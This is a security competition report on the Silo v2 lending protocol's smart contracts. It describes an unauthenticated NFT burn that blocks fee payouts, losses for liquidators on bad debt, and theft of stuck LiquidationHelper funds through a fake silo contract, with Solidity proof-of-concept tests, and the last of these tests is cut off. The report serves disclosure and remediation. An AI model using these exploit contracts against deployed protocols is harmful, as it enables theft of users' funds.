Silo contracts v2

Competition

March 19, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

The Silo Protocol is a non-custodial lending primitive that creates programable risk-isolated markets known as silos. Any user with a wallet can lend or borrow in a silo in a non-custodial manner. Silo markets use the peer-to-pool, overcollateralized model where the value of a borrower's collateral always exceeds the value of their loan.

From Jan 13th to Feb 10th Cantina hosted a competition based on silo-contracts-v2. The participants identified a total of **69** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 1
- Medium Risk: 14
- Low Risk: 24
- Gas Optimizations: 0
- Informational: 30

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Malicious user can burn any Silo NFT preventing the deployer from receiving fees

Submitted by Jonatas Martins, also found by EFCCWEB3, ParthMandale, alexzoid, bareli, sohrabhind, focusoor, AngryMustacheMan, zark, aksa, 0xStalin, JCN, 0xRstStn, ruhum, 0x37, Putra Laksmana, phil, kodyvim, Boy2000, ZC002, Cosine and carlos404

Severity: High Risk

Context: SiloFactory.sol#L127-L129

Description: The `burn` function in `SiloFactory` doesn't check if the caller is the owner of the tokenID. It uses `ERC721._burn()`, which also doesn't validate the owner, see in ERC721.sol#L321:

```
/**
 * @dev Destroys `tokenId`.
 * The approval is cleared when the token is burned.
 * This is an internal function that does not check if the sender is authorized to operate on the token.
 *
 * Requirements:
 *
 * - `tokenId` must exist.
 *
 * Emits a {Transfer} event.
 */
function _burn(uint256 tokenId) internal {
  address previousOwner = _update(address(0), tokenId, address(0));
  if (previousOwner == address(0)) {
    revert ERC721NonexistentToken(tokenId);
  }
}
```

Since the owner's token is used to determine fee recipients in `getFeeReceivers()`, anyone can burn the owner's NFT in `SiloFactory`, preventing them from receiving fees through `Silo.withdrawFees()`.

Proof of Concept:

```
function test_burnSilo() public {
  (, ISiloConfig.InitData memory initData,) = siloData.getConfigData(SILO_TO_DEPLOY);

  address siloImpl = makeAddr("siloImpl");
  address shareProtectedCollateralTokenImpl = makeAddr("shareProtectedCollateralTokenImpl");
  address shareDebtTokenImpl = makeAddr("shareDebtTokenImpl");

  ISiloConfig config = ISiloConfig(makeAddr("siloConfig"));

  initData.hookReceiver = makeAddr("hookReceiver");
  initData.token0 = makeAddr("token0");
  initData.token1 = makeAddr("token1");

  siloFactory.createSilo(initData, config, siloImpl, shareProtectedCollateralTokenImpl, shareDebtTokenImpl);

  assertEq(siloFactory.ownerOf(2), initData.deployer);

  //@audit Any user can burn the token from the owner
  address user = vm.addr(1);
  //@audit Just assert that the deployer (owner) is not the user
  assert(user != initData.deployer);

  vm.startPrank(user);
  siloFactory.burn(2);
  vm.stopPrank();

  //@audit The NFT was burned, there is no owner
  // and the call will revert with `ERC721NonexistentToken(2)`
  vm.expectRevert();
  address owner = siloFactory.ownerOf(2);
}
```

Recommendation: Consider adding a modifier to check if the sender is authorized to operate the NFT.

3.2 Medium Risk

3.2.1 Missing Incentives For Liquidators When LTV Is Too High

Submitted by Cosine, also found by EVDoc

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: When a liquidator liquidates an account with bad debt or a bit before that the liquidator will lose funds instead of gaining any. Therefore there is no incentive for liquidators to liquidate positions which are really unhealthy for the system, or the system will even punish liquidator for their work. This will probably lead to liquidators not liquidating very unhealthy accounts which is critical for the health of the system.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";

import {MintableToken} from "silo-core/test/foundry/_common/MintableToken.sol";
import {SiloFixtureWithVeSilo as SiloFixture} from
↪  "silo-core/test/foundry/_common/fixtures/SiloFixtureWithVeSilo.sol";
import {SiloConfigOverride} from "silo-core/test/foundry/_common/fixtures/SiloFixture.sol";
import {SiloConfigsNames} from "silo-core/deploy/silo/SiloDeployments.sol";
import {ISiloConfig} from "silo-core/contracts/interfaces/ISiloConfig.sol";
import {SiloLens} from "silo-core/contracts/SiloLens.sol";

import {ISilo} from "silo-core/contracts/interfaces/ISilo.sol";
import {ISiloFactory} from "silo-core/contracts/interfaces/ISiloFactory.sol";
import {IPartialLiquidation} from "silo-core/contracts/interfaces/IPartialLiquidation.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/// @dev Test with a ready for testing silo market setup.
/// For more examples on how to interact with the silo market, see the silo-core/test/foundry/Silo folder
/// deposits: silo-core/test/foundry/Silo/deposit
/// withdrawals: silo-core/test/foundry/Silo/withdraw
/// borrow: silo-core/test/foundry/Silo/borrow
/// repay: silo-core/test/foundry/Silo/repay
/// flashloans: silo-core/test/foundry/Silo/flashloan
contract POC is Test {
    ISiloConfig siloConfig;

    address bob;
    address alice;
    address eve;

    ISilo silo0;
    ISilo silo1;

    ISiloFactory siloFactory;
    SiloLens siloLens;

    IERC20 token0;
    IERC20 protectedShareToken0;
    IERC20 collateralShareToken0;
    IERC20 debtShareToken0;

    IERC20 token1;
    IERC20 protectedShareToken1;
    IERC20 collateralShareToken1;
    IERC20 debtShareToken1;

    function setUp() public {
        // Setup actors
        bob = makeAddr("bob");
        alice = makeAddr("alice");
        eve = makeAddr("eve");

        // Example of how you can deploy a silo with a specific config and override some values if needed
        SiloFixture siloFixture = new SiloFixture();

        // SiloConfigOverride is a struct that contains the overrides for the silo config.
        // It is used to override the default values for the silo config.
        SiloConfigOverride memory configOverride;

        // tokens can be overridden with any other implementation of ERC20
        configOverride.token0 = address(new MintableToken(18));
        configOverride.token1 = address(new MintableToken(8));

        // If any specific config is needed, it can be overridden here.
        // The config file should be created in the silo-core/deploy/input/anvil folder.
        // For more config examples, see the silo-core/deploy/input folder.
        configOverride.configName = SiloConfigsNames.LOCAL_GAUGE_HOOK_RECEIVER;

        // Deploy the silo with the overrides
        (siloConfig,,,,,) = siloFixture.deploy_local(configOverride);

        (address siloAddress0, address siloAddress1) = siloConfig.getSilos();
        silo0 = ISilo(siloAddress0);
        silo1 = ISilo(siloAddress1);
        siloFactory = ISiloFactory(silo0.factory());

        ISiloConfig.ConfigData memory config0 = siloConfig.getConfig(address(silo0));
        token0 = IERC20(config0.token);
        protectedShareToken0 = IERC20(config0.protectedShareToken);
        collateralShareToken0 = IERC20(config0.collateralShareToken);
        debtShareToken0 = IERC20(config0.debtShareToken);

        ISiloConfig.ConfigData memory config1 = siloConfig.getConfig(address(silo1));
        token1 = IERC20(config1.token);
        protectedShareToken1 = IERC20(config1.protectedShareToken);
        collateralShareToken1 = IERC20(config1.collateralShareToken);
        debtShareToken1 = IERC20(config1.debtShareToken);

        siloLens = new SiloLens();

        // printState();
        // printConfig();
    }

    // run test with:
    // FOUNDRY_PROFILE=core-test forge test --ffi --match-test test_poc_X -vvv
    function test_poc_4() public {
        // deposit some liquidity
        vm.startPrank(alice);
        deal(address(token0), alice, 600e18);
        IERC20(token0).approve(address(silo0), 600e18);
        silo0.deposit(600e18, alice);
        vm.stopPrank();

        // eve accrues bad debt
        vm.startPrank(eve);
        uint256 depositAmt = 1000e18;
        deal(address(token0), eve, depositAmt);
        IERC20(token0).approve(address(silo0), depositAmt);
        silo0.deposit(depositAmt, eve);
        silo0.borrowSameAsset(silo0.maxBorrowSameAsset(eve), eve, eve);
        silo0.withdraw(silo0.maxWithdraw(eve), eve, eve);
        vm.warp(block.timestamp + 365 days);
        vm.stopPrank();

        // eve is liquidatable and has bad debt
        assert(!silo0.isSolvent(eve));
        uint256 ltv = siloLens.getLtv(silo0, eve);
        emit log_named_uint("ltv", ltv);
        assertGt(ltv, 1e18);

        // accrue interest
        silo0.accrueInterest();

        // get liquidation contract
        (ISiloConfig.ConfigData memory collateralConfig, ISiloConfig.ConfigData memory debtConfig) =
        ↪  siloConfig.getConfigsForSolvency(eve);
        assertEq(collateralConfig.hookReceiver, debtConfig.hookReceiver);
        IPartialLiquidation partialLiquidation = IPartialLiquidation(collateralConfig.hookReceiver);

        // bob liquidates eve
        uint256 maxLiquidationAmt = 2000e18;
        deal(address(token0), bob, maxLiquidationAmt);
        uint256 balanceBefore = IERC20(token0).balanceOf(bob);
        vm.startPrank(bob);
        IERC20(token0).approve(address(partialLiquidation), maxLiquidationAmt);
        partialLiquidation.liquidationCall(address(token0), address(token0), eve, maxLiquidationAmt, false);
        vm.stopPrank();

        // bob lost funds by liquidating eve
        uint256 balanceAfter = IERC20(token0).balanceOf(bob);
        emit log_named_uint("balanceBefore", balanceBefore);
        emit log_named_uint("balanceAfter", balanceAfter);
        assertGt(balanceBefore, balanceAfter);

        // printState();
    }

    function printState() public {
        emit log_string("\n--------------------------------");
        emit log_string("\n silo0:");
        emit log_named_uint("token0 balance", token0.balanceOf(address(silo0)));
        emit log_named_uint("totalSupply collateralShareToken0", collateralShareToken0.totalSupply());
        emit log_named_uint("totalSupply protectedShareToken0", protectedShareToken0.totalSupply());
        emit log_named_uint("totalSupply debtShareToken0", debtShareToken0.totalSupply());
        emit log_string("\n silo1:");
        emit log_named_uint("token1 balance", token1.balanceOf(address(silo1)));
        emit log_named_uint("totalSupply collateralShareToken1", collateralShareToken1.totalSupply());
        emit log_named_uint("totalSupply protectedShareToken1", protectedShareToken1.totalSupply());
        emit log_named_uint("totalSupply debtShareToken1", debtShareToken1.totalSupply());
        emit log_string("\n bob:");
        emit log_named_uint("token0 balance", token0.balanceOf(bob));
        emit log_named_uint("token1 balance", token1.balanceOf(bob));
        emit log_named_uint("protectedShareToken0 balance", protectedShareToken0.balanceOf(bob));
        emit log_named_uint("protectedShareToken1 balance", protectedShareToken1.balanceOf(bob));
        emit log_named_uint("collateralShareToken0 balance", collateralShareToken0.balanceOf(bob));
        emit log_named_uint("collateralShareToken1 balance", collateralShareToken1.balanceOf(bob));
        emit log_named_uint("debtShareToken0 balance", debtShareToken0.balanceOf(bob));
        emit log_named_uint("debtShareToken1 balance", debtShareToken1.balanceOf(bob));
        emit log_string("\n alice:");
        emit log_named_uint("token0 balance", token0.balanceOf(alice));
        emit log_named_uint("token1 balance", token1.balanceOf(alice));
        emit log_named_uint("protectedShareToken0 balance", protectedShareToken0.balanceOf(alice));
        emit log_named_uint("protectedShareToken1 balance", protectedShareToken1.balanceOf(alice));
        emit log_named_uint("collateralShareToken0 balance", collateralShareToken0.balanceOf(alice));
        emit log_named_uint("collateralShareToken1 balance", collateralShareToken1.balanceOf(alice));
        emit log_named_uint("debtShareToken0 balance", debtShareToken0.balanceOf(alice));
        emit log_named_uint("debtShareToken1 balance", debtShareToken1.balanceOf(alice));
        emit log_string("\n eve:");
        emit log_named_uint("token0 balance", token0.balanceOf(eve));
        emit log_named_uint("token1 balance", token1.balanceOf(eve));
        emit log_named_uint("protectedShareToken0 balance", protectedShareToken0.balanceOf(eve));
        emit log_named_uint("protectedShareToken1 balance", protectedShareToken1.balanceOf(eve));
        emit log_named_uint("collateralShareToken0 balance", collateralShareToken0.balanceOf(eve));
        emit log_named_uint("collateralShareToken1 balance", collateralShareToken1.balanceOf(eve));
        emit log_named_uint("debtShareToken0 balance", debtShareToken0.balanceOf(eve));
        emit log_named_uint("debtShareToken1 balance", debtShareToken1.balanceOf(eve));
        emit log_string("\n--------------------------------");
    }

    function printConfig() public {
        emit log_string("\n--------------------------------");
        emit log_named_address("\n[silo0]", address(silo0));
        _printSiloConfig(address(silo0));
        emit log_named_address("\n[silo1]", address(silo1));
        _printSiloConfig(address(silo1));
        emit log_string("\n--------------------------------");
    }

    function _printSiloConfig(address _silo) internal {
        ISiloConfig.ConfigData memory config = siloConfig.getConfig(_silo);

        emit log_named_address("token", address(config.token));
        emit log_named_address("protectedShareToken", address(config.protectedShareToken));
        emit log_named_address("collateralShareToken", address(config.collateralShareToken));
        emit log_named_address("debtShareToken", address(config.debtShareToken));
        emit log_named_address("solvencyOracle", address(config.solvencyOracle));
        emit log_named_address("maxLtvOracle", address(config.maxLtvOracle));
        emit log_named_address("interestRateModel", address(config.interestRateModel));
        emit log_named_uint("maxLtv", config.maxLtv);
        emit log_named_uint("lt", config.lt);
        emit log_named_uint("liquidationTargetLtv", config.liquidationTargetLtv);
        emit log_named_uint("liquidationFee", config.liquidationFee);
        emit log_named_uint("flashloanFee", config.flashloanFee);
        emit log_named_address("hookReceiver", address(config.hookReceiver));
        emit log_named_string("callBeforeQuote", config.callBeforeQuote ? "true" : "false");
    }
}
```

Recommendation: Let the lenders pay for the bad debt and the liquidation incentive this should be the risk they take when providing liquidity. If this behavior is desired and the idea is that the protocol will liquidate accounts with bad debt, add a slippage check to the `liquidationCall` function to protect normal liquidators from losing funds.

3.2.2 LiquidationHelper's Swap Mechanism Leads To Stuck Funds That Can Be Stolen

Submitted by Cosine, also found by JCN

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `LiquidationHelper` contract does the following things:

- Take a flash loan from the given silo contract.
- Call the `liquidationCall` function on the given hook contract.
- Perform swaps if any swap data was given.
- Transfer profits to the owner of the `LiquidationHelper` contract and return the flash loan + fees.

The liquidator does therefore need to guess the received profit from liquidation at transaction creation time. This can lead to two undesired scenarios:

- The provided swap amount is larger than the received profit from the liquidation call and therefore the swap and with it the whole transaction reverts.
- The provided swap amount is smaller than the received profit from the liquidation call and therefore the profit is stuck in the `LiquidationHelper` contract.

These stuck funds are usually retrieved over time when the liquidator liquidates a position in the opposite silo. Multiple issues arise from this:

- If this liquidation call was for the last position in the silo and the silo is not used anymore after that the stuck funds are lost.
- As the `executeLiquidation` function does not check if the given address is a real silo it is possible for malicious actors to steal the funds stuck in any `LiquidationHelper` contract by providing a malicious silo to the `executeLiquidation` function.

Malicious silo Attack (see proof of concept for more details):

- A malicious actor sees that funds are stuck in a `LiquidationHelper` contract.
- The attacker creates a malicious silo contract and a malicious hook receiver contract and calls the `executeLiquidation` function with them.
- The `LiquidationHelper` contract calls the `flashLoan` function of the malicious contract.
- The malicious silo contract calls the `onFlashLoan` function of the `LiquidationHelper` contract without transferring any funds to it.
- The `LiquidationHelper` contract calls the malicious hook receiver contract but its `liquidationCall` function does nothing.
- After the `onFlashLoan` function is finished the malicious silo contract transfers all funds from the `LiquidationHelper` contract to the attacker.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";

import {MintableToken} from "silo-core/test/foundry/_common/MintableToken.sol";
import {SiloFixtureWithVeSilo as SiloFixture} from
↪  "silo-core/test/foundry/_common/fixtures/SiloFixtureWithVeSilo.sol";
import {SiloConfigOverride} from "silo-core/test/foundry/_common/fixtures/SiloFixture.sol";
import {SiloConfigsNames} from "silo-core/deploy/silo/SiloDeployments.sol";
import {ISiloConfig} from "silo-core/contracts/interfaces/ISiloConfig.sol";
import {SiloLens} from "silo-core/contracts/SiloLens.sol";

import {ISilo} from "silo-core/contracts/interfaces/ISilo.sol";
import {ISiloFactory} from "silo-core/contracts/interfaces/ISiloFactory.sol";
import {IPartialLiquidation} from "silo-core/contracts/interfaces/IPartialLiquidation.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {LiquidationHelper} from "silo-core/contracts/utils/liquidationHelper/LiquidationHelper.sol";
import {ILiquidationHelper} from "silo-core/contracts/interfaces/ILiquidationHelper.sol";
import {IERC3156FlashBorrower} from "silo-core/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IPartialLiquidation} from "silo-core/contracts/interfaces/IPartialLiquidation.sol";


contract MaliciousSilo is ISilo {
    function flashLoan(IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data)
    ↪  external returns (bool) {
        uint256 fee = 0;
        IERC3156FlashBorrower(_receiver).onFlashLoan(address(_receiver), _token, _amount, fee, _data);
        IERC20(_token).transferFrom(msg.sender, address(this), _amount);
        return true;
    }

    function factory() external view returns (ISiloFactory siloFactory) {}
    function callOnBehalfOfSilo(address _target, uint256 _value, CallType _callType, bytes calldata _input)
        external
        payable
        returns (bool success, bytes memory result) {}
    function initialize(ISiloConfig _siloConfig) external {}
    function updateHooks() external {}
    function config() external view returns (ISiloConfig siloConfig) {}
    function utilizationData() external view returns (UtilizationData memory utilizationData) {}
    function getLiquidity() external view returns (uint256 liquidity) {}
    function isSolvent(address _borrower) external view returns (bool) {}
    function getTotalAssetsStorage(AssetType _assetType) external view returns (uint256) {}
    function getSiloStorage()
        external
        view
        returns (
            uint192 daoAndDeployerRevenue,
            uint64 interestRateTimestamp,
            uint256 protectedAssets,
            uint256 collateralAssets,
            uint256 debtAssets
        ) {}
    function getCollateralAssets() external view returns (uint256 totalCollateralAssets) {}
    function getDebtAssets() external view returns (uint256 totalDebtAssets) {}
    function getCollateralAndProtectedTotalsStorage()
        external
        view
        returns (uint256 totalCollateralAssets, uint256 totalProtectedAssets) {}
    function getCollateralAndDebtTotalsStorage()
        external
        view
        returns (uint256 totalCollateralAssets, uint256 totalDebtAssets) {}
    function convertToShares(uint256 _assets, AssetType _assetType) external view returns (uint256 shares) {}
    function convertToAssets(uint256 _shares, AssetType _assetType) external view returns (uint256 assets) {}
    function previewDeposit(uint256 _assets, CollateralType _collateralType) external view returns (uint256
    ↪  shares) {}
    function deposit(uint256 _assets, address _receiver, CollateralType _collateralType)
        external
        returns (uint256 shares) {}
    function previewMint(uint256 _shares, CollateralType _collateralType) external view returns (uint256
    ↪  assets) {}
    function mint(uint256 _shares, address _receiver, CollateralType _collateralType) external returns
    ↪  (uint256 assets) {}
    function maxWithdraw(address _owner, CollateralType _collateralType) external view returns (uint256
    ↪  maxAssets) {}
    function previewWithdraw(uint256 _assets, CollateralType _collateralType) external view returns (uint256
    ↪  shares) {}
    function withdraw(uint256 _assets, address _receiver, address _owner, CollateralType _collateralType)
        external
        returns (uint256 shares) {}
    function maxRedeem(address _owner, CollateralType _collateralType) external view returns (uint256
    ↪  maxShares) {}
    function previewRedeem(uint256 _shares, CollateralType _collateralType) external view returns (uint256
    ↪  assets) {}
    function redeem(uint256 _shares, address _receiver, address _owner, CollateralType _collateralType)
        external
        returns (uint256 assets) {}
    function maxBorrow(address _borrower) external view returns (uint256 maxAssets) {}
    function previewBorrow(uint256 _assets) external view returns (uint256 shares) {}
    function borrow(uint256 _assets, address _receiver, address _borrower)
        external returns (uint256 shares) {}
    function maxBorrowShares(address _borrower) external view returns (uint256 maxShares) {}
    function previewBorrowShares(uint256 _shares) external view returns (uint256 assets) {}
    function maxBorrowSameAsset(address _borrower) external view returns (uint256 maxAssets) {}
    function borrowSameAsset(uint256 _assets, address _receiver, address _borrower)
        external returns (uint256 shares) {}
    function borrowShares(uint256 _shares, address _receiver, address _borrower)
        external
        returns (uint256 assets) {}
    function maxRepay(address _borrower) external view returns (uint256 assets) {}
    function previewRepay(uint256 _assets) external view returns (uint256 shares) {}
    function repay(uint256 _assets, address _borrower) external returns (uint256 shares) {}
    function maxRepayShares(address _borrower) external view returns (uint256 shares) {}
    function previewRepayShares(uint256 _shares) external view returns (uint256 assets) {}
    function repayShares(uint256 _shares, address _borrower) external returns (uint256 assets) {}
    function transitionCollateral(uint256 _shares, address _owner, CollateralType _transitionFrom)
        external
        returns (uint256 assets) {}
    function switchCollateralToThisSilo() external {}
    function accrueInterest() external returns (uint256 accruedInterest) {}
    function accrueInterestForConfig(
        address _interestRateModel,
        uint256 _daoFee,
        uint256 _deployerFee
    ) external {}
    function withdrawFees() external {}
    function allowance(address owner, address spender) external view returns (uint256) {}
    function approve(address spender, uint256 value) external returns (bool) {}
    function asset() external view returns (address assetTokenAddress) {}
    function balanceOf(address account) external view returns (uint256) {}
    function convertToAssets(uint256 shares) external view returns (uint256 assets) {}
    function convertToShares(uint256 assets) external view returns (uint256 shares) {}
    function decimals() external view returns (uint8) {}
     function deposit(uint256 assets, address receiver) external returns (uint256 shares) {}
    function flashFee(address _token, uint256 _amount) external view returns (uint256) {}
    function maxDeposit(address receiver) external view returns (uint256 maxAssets) {}
    function maxFlashLoan(address _token) external view returns (uint256) {}
    function maxMint(address receiver) external view returns (uint256 maxShares) {}
    function maxRedeem(address owner) external view returns (uint256 maxShares) {}
    function maxWithdraw(address owner) external view returns (uint256 maxAssets) {}
    function mint(uint256 shares, address receiver) external returns (uint256 assets) {}
    function name() external view returns (string memory) {}
    function previewDeposit(uint256 assets) external view returns (uint256 shares) {}
    function previewMint(uint256 shares) external view returns (uint256 assets) {}
    function previewRedeem(uint256 shares) external view returns (uint256 assets) {}
    function previewWithdraw(uint256 assets) external view returns (uint256 shares) {}
    function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets) {}
    function symbol() external view returns (string memory) {}
    function totalAssets() external view returns (uint256 totalManagedAssets) {}
    function totalSupply() external view returns (uint256) {}
    function transfer(address to, uint256 value) external returns (bool) {}
    function transferFrom(address from, address to, uint256 value) external returns (bool) {}
    function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares) {}
}

contract MaliciousHookReceiver is IPartialLiquidation {
    function liquidationCall(address _collateralAsset, address _debtAsset, address _user, uint256
    ↪  _maxDebtToCover, bool _receiveSToken) external returns (uint256 withdrawCollateral, uint256
    ↪  repayDebtAssets) {
        uint256 withdrawCollateral = 0;
        uint256 repayDebtAssets = 0;
    }

    function maxLiquidation(address _borrower)
        external
        view
        returns (uint256 collateralToLiquidate, uint256 debtToRepay, bool sTokenRequired) {}
}

/// @dev Test with a ready for testing silo market setup.
/// For more examples on how to interact with the silo market, see the silo-core/test/foundry/Silo folder
/// deposits: silo-core/test/foundry/Silo/deposit
/// withdrawals: silo-core/test/foundry/Silo/withdraw
/// borrow: silo-core/test/foundry/Silo/borrow
/// repay: silo-core/test/foundry/Silo/repay
/// flashloans: silo-core/test/foundry/Silo/flashloan
contract POC is Test {
    ISiloConfig siloConfig;

    address bob;
    address alice;
    address eve;

    ISilo silo0;
    ISilo silo1;

    ISiloFactory siloFactory;
    SiloLens siloLens;

    IERC20 token0;
    IERC20 protectedShareToken0;
    IERC20 collateralShareToken0;
    IERC20 debtShareToken0;

    IERC20 token1;
    IERC20 protectedShareToken1;
    IERC20 collateralShareToken1;
    IERC20 debtShareToken1;

    function setUp() public {
        // Setup actors
        bob = makeAddr("bob");
        alice = makeAddr("alice");
        eve = makeAddr("eve");

        // Example of how you can deploy a silo with a specific config and override some values if needed
        SiloFixture siloFixture = new SiloFixture();

        // SiloConfigOverride is a struct that contains the overrides for the silo config.
        // It is used to override the default values for the silo config.
        SiloConfigOverride memory configOverride;

        // tokens can be overridden with any other implementation of ERC20
        configOverride.token0 = address(new MintableToken(18));
        configOverride.token1 = address(new MintableToken(8));

        // If any specific config is needed, it can be overridden here.
        // The config file should be created in the silo-core/deploy/input/anvil folder.
        // For more config examples, see the silo-core/deploy/input folder.
        configOverride.configName = SiloConfigsNames.LOCAL_GAUGE_HOOK_RECEIVER;

        // Deploy the silo with the overrides
        (siloConfig,,,,,) = siloFixture.deploy_local(configOverride);

        (address siloAddress0, address siloAddress1) = siloConfig.getSilos();
        silo0 = ISilo(siloAddress0);
        silo1 = ISilo(siloAddress1);
        siloFactory = ISiloFactory(silo0.factory());

        ISiloConfig.ConfigData memory config0 = siloConfig.getConfig(address(silo0));
        token0 = IERC20(config0.token);
        protectedShareToken0 = IERC20(config0.protectedShareToken);
        collateralShareToken0 = IERC20(config0.collateralShareToken);
        debtShareToken0 = IERC20(config0.debtShareToken);
        ISiloConfig.ConfigData memory config1 = siloConfig.getConfig(address(silo1));
        token1 = IERC20(config1.token);
        protectedShareToken1 = IERC20(config1.protectedShareToken);
        collateralShareToken1 = IERC20(config1.collateralShareToken);
        debtShareToken1 = IERC20(config1.debtShareToken);

        siloLens = new SiloLens();

        // printState();
        // printConfig();
    }

    // run test with:
    // FOUNDRY_PROFILE=core-test forge test --ffi --match-test test_poc_X -vvv
    function test_poc_6() public {
        // bob creates his own LiquidationHelper
        LiquidationHelper liquidationHelper = new LiquidationHelper(address(token0),
        ↪  makeAddr("exchangeProxy"), payable(bob));

        // as prices changed between creation and execution of executeLiquidation transactions funds are stuck
        ↪  in the liquidationHelper
        deal(address(token0), address(liquidationHelper), 10e18);
        uint256 balanceBefore = IERC20(token0).balanceOf(address(liquidationHelper));

        // eve uses a malicious Silo contract to steal the funds from bobs LiquidationHelper contract
        MaliciousSilo maliciousSilo = new MaliciousSilo();
        MaliciousHookReceiver maliciousHookReceiver = new MaliciousHookReceiver();
        vm.startPrank(eve);
        liquidationHelper.executeLiquidation(
            maliciousSilo,
            address(token0),
            10e18,
            ILiquidationHelper.LiquidationData(maliciousHookReceiver, address(token0), makeAddr("any")),
            new ILiquidationHelper.DexSwapInput[](0)
        );
        vm.stopPrank();

        // eve was able to steal all funds from bob's LiquidationHelper contract
        assertEq(balanceBefore, 10e18);
        assertEq(IERC20(token0).balanceOf(address(liquidationHelper)), 0);
        assertEq(IERC20(token0).balanceOf(address(maliciousSilo)), 10e18);

        // printState();
    }

    function printState() public {
        emit log_string("\n--------------------------------");
        emit log_string("\n silo0:");
        emit log_named_uint("token0 balance", token0.balanceOf(address(silo0)));
        emit log_named_uint("totalSupply collateralShareToken0", collateralShareToken0.totalSupply());
        emit log_named_uint("totalSupply protectedShareToken0", protectedShareToken0.totalSupply());
        emit log_named_uint("totalSupply debtShareToken0", debtShareToken0.totalSupply());
        emit log_string("\n silo1:");
        emit log_named_uint("token1 balance", token1.balanceOf(address(silo1)));
        emit log_named_uint("totalSupply collateralShareToken1", collateralShareToken1.totalSupply());
        emit log_named_uint("totalSupply protectedShareToken1", protectedShareToken1.totalSupply());
        emit log_named_uint("totalSupply debtShareToken1", debtShareToken1.totalSupply());
        emit log_string("\n bob:");
        emit log_named_uint("token0 balance", token0.balanceOf(bob));
        emit log_named_uint("token1 balance", token1.balanceOf(bob));
        emit log_named_uint("protectedShareToken0 balance", protectedShareToken0.balanceOf(bob));
        emit log_named_uint("protectedShareToken1 balance", protectedShareToken1.balanceOf(bob));
        emit log_named_uint("collateralShareToken0 balance", collateralShareToken0.balanceOf(bob));
        emit log_named_uint("collateralShareToken1 balance", collateralShareToken1.balanceOf(bob));
        emit log_named_uint("debtShareToken0 balance", debtShareToken0.balanceOf(bob));
        emit log_named_uint("debtShareToken1 balance", debtShareToken1.balanceOf(bob));
        emit log_string("\n alice:");
        emit log_named_uint("token0 balance", token0.balanceOf(alice));
        emit log_named_uint("token1 balance", token1.balanceOf(alice));
        emit log_named_uint("protectedShareToken0 balance", protectedShareToken0.balanceOf(alice));
        emit log_named_uint("protectedShareToken1 balance", protectedShareToken1.balanceOf(alice));
        emit log_named_uint("collateralShareToken0 balance", collateralShareToken0.balanceOf(alice));
        emit log_named_uint("collateralShareToken1 balance", collateralShareToken1.balanceOf(alice));
        emit log_named_uint("debtShareToken0 balance", debtShareToken0.balanceOf(alice));
        emit log_named_uint("debtShareToken1 balance", debtShareToken1.balanceOf(alice));
        emit log_string("\n eve:");
        emit log_named_uint("token0 balance", token0.balanceOf(eve));
        emit log_named_uint("token1 balance", token1.balanceOf(eve));
        emit log_named_uint("protectedShareToken0 balance", protectedShareToken0.balanceOf(eve));
        emit log_named_uint("protectedShareToken1 balance", protectedShareToken1.balanceOf(eve));
        emit log_named_uint("collateralShareToken0 balance", collateralShareToken0.balanceOf(eve));
        emit log_named_uint("collateralShareToken1 balance", collateralShareToken1.balanceOf(eve));
        emit log_named_uint("debtShareToken0 balance", debtShareToken0.balanceOf(eve));
        emit log_named_uint("debtShareToken1 balance", debtShareToken1.balanceOf(eve));
        emit log_string("\n--------------------------------");
    }

    function printConfig() public {
        emit log_string("\n--------------------------------");
        emit log_named_address("\n[silo0]", address(silo0));
        _printSiloConfig(address(silo0));
        emit log_named_address("\n[silo1]", address(silo1));
        _printSiloConfig(address(silo1));
        emit log_string("\n--------------------------------");
    }

    function _printSiloConfig(address _silo) internal {
        ISiloConfig.ConfigData memory config = siloConfig.getConfig(_silo);

        emit log_named_address("token", address(config.token));
        emit log_named_address("protectedShareToken", address(config.protectedShareToken));
        emit log_named_address("collateralShareToken", address(config.collateralShareToken));
        emit log_named_address("debtShareToken", address(config.debtShareToken));
        emit log_named_address("solvencyOracle", address(config.solvencyOracle));
        emit log_named_address("maxLtvOracle", address(config.maxLtvOracle));
        emit log_named_address("interestRateModel", address(config.interestRateModel));
        emit log_named_uint("maxLtv", config.maxLtv);
        emit log_named_uint("lt", config.lt);
        emit log_named_uint("liquidationTargetLtv", config.liquidationTargetLtv);
        emit log_named_uint("liquidationFee", config.liquidationFee);
        emit log_named_uint("flashloanFee", config.flashloanFee);
